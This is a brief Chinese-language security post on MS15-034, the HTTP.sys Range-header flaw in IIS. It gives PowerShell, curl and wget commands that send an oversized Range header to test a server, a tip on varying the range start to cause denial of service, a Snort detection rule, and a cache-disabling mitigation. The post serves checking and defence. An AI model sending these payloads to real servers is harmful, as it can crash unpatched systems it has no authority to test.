所有 Windows 平台上有用 HTTP.sys 皆有可能被攻擊到掛,DOS 攻擊要生效需要伺服器上有大檔案存在(>4GB) 比較有可能
檢查方式
powershell -com {$wr=[Net.WebRequest]::Create( 'http://10.10.10.171/iisstart.htm');$wr.AddRange('bytes' ,0,18446744073709551615);$wr.GetResponse();$wr.close()} curl -v 10.10.10.171/ -H "Host: test" -H "Range: bytes=1-18446744073709551615" wget -O /dev/null --header="Range: 0-18446744073709551615" http://10.10.10.171/
用 SNORT 防護方式
alert tcp $EXTERNL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;) (byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)
DOS 攻擊方式
這 "0-" ~ "20-" 中間值作切換
IIS7 可以停用核心快取來防範這個漏洞
參考 : MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW
留言